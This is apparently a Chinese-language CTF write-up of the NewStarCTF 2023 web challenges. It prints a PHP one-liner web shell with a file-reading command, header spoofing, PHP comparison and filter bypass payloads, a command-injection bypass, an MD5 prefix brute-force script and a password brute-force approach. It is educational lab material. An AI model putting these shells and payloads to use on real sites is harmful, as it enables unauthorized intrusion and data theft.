泄漏的秘密
考的就是敏感信息的泄露 题目提示两个
无非就最简单的三种
1.robots.txt
2.www.zip
3.index.php.swp
当然我的做法就是直接用dirsearch扫描了 得到了robots.txt和www.zip文件,访问拼接就得到了flag了
Begin of Upload
考的就是绕过客户端 JavaScript检验 上传一句话木马修改文件名后缀就行了
一句话木马内容;
<?php eval($_POST[1]);?>
得到文件路径 我们可以直接利用蚁剑一把梭 也可也RCE
节省时间 我们直接使用rce 访问路径 然后利用POST传参 1=system('cat /f*');
用1 是因为上边的一句话木马密钥为1 自己也可改其他的 后边就是一个命令执行
Begin of HTTP
考的就是http协议的一些用法知识 还是不错的
闯关 GET传参
payload:?ctf=1
POST传参 在源码得到得到传入的参数
Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk)
解码得到n3wst4rCTF2023g00000d
payload:secret=n3wst4rCTF2023g00000d
抓包修改power 为ctfer
改User-Agent 为NewStarCTF2023
改Referer为newstarctf.com
发现只能本地用户访问
这里测试三个就行 XFF client-ip X-Real-IP
发现X-Real-IP可行
我们添加 X-Real-IP:127.0.0.1就饿可以了
然后就获得flag
ErrorFlask
这道题也不知道考的什么 又不是SSTI注入 直接传参 抓包就得到flag了 搞不懂意义在哪 难度是非预期?
Begin of PHP
这道题考的可以说就是PHP的特性 弱比较 强比较 变量覆盖 无字符数字的shell
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}//典型的弱比较 直接数组绕过 ?key1[]=1&key2[]=2
if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
} //对于php强比较和弱比较:md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。所以直接 key3[]=1
if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}//这里strcmp有一个bug就是如果比较的是数组的话,直接返回一个0。key4[]=1
if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
} //绕过is_numeric()函数 因为不能为数字 但我们可以变成判断条件绕过 即 key5=2024|2024
if($flag4){
echo "=Level 5=<br>";
extract($_POST); // 变量覆盖漏洞
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
} //过滤a-z A-Z 0-9 那这里就要使用无字符字母
}
if($flag5){
echo file_get_contents("/flag"); //那很简单 直接让flag5变成ture 就可以获得flag 那我们 对flag5进行传参 只要不包含数字字母的shell就可以获得flag flag5=(~%8F%97%8F%96%91%99%90)();
//里面那个是phpinfo();
}else{
die("nope,this is level 5");
}
}
源码和代码审计都在上边 所以最终payload:
GET:?key1[]=1&key2[]=2&key4[]=1&key5=2024|2024
POST: key3[]=1&flag5=(~%8F%97%8F%96%91%99%90)();
R!C!E!
这道题的考点就是一个md5的截断 一个是如何绕过黑名单
审计代码:
1.传入的password的md5加密的前6 位为c4d038
2.传入 的e_v.a.l 不能包含flag等字符
那么我们先写给个脚本去碰撞c4d038
import requests
import base64
import sys
import hashlib
def getMd5(index):
for i in range(100000,100000000):
x = i
md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
if md5[0:6] == index:
return x;
print(getMd5("c4d038"))
得到为114514 然后下边那个绕过就直接使用内敛绕过 那么最终的payload:
password=114514&e_v.a.l=echo
tac /f*
;
发现无回显,那应该是 e_v.a.l里面的_号是非法字符,会被php过滤 那我们换成[就好了
所以payload
password=114514&e[v.a.l=echo
tac /f*
;
EasyLogin
这道题还是比较简单的 可以说就考察了一个弱口令登入 然后利用bp抓包得到flag 误导区应该就是让你登入进去后让你以为在终端里面有flag
这道理我们利用bp爆破得到admin的密码为000000(注意md5编码)
因为节约时间 我上边自己添加了 就不跑字典
然后进行爆破
、
字节长度不一样 然后密码就是他了 我们登入进去 抓包 然后就得到flag
版权归原作者 文大。 所有, 如有侵权,请联系我们删除。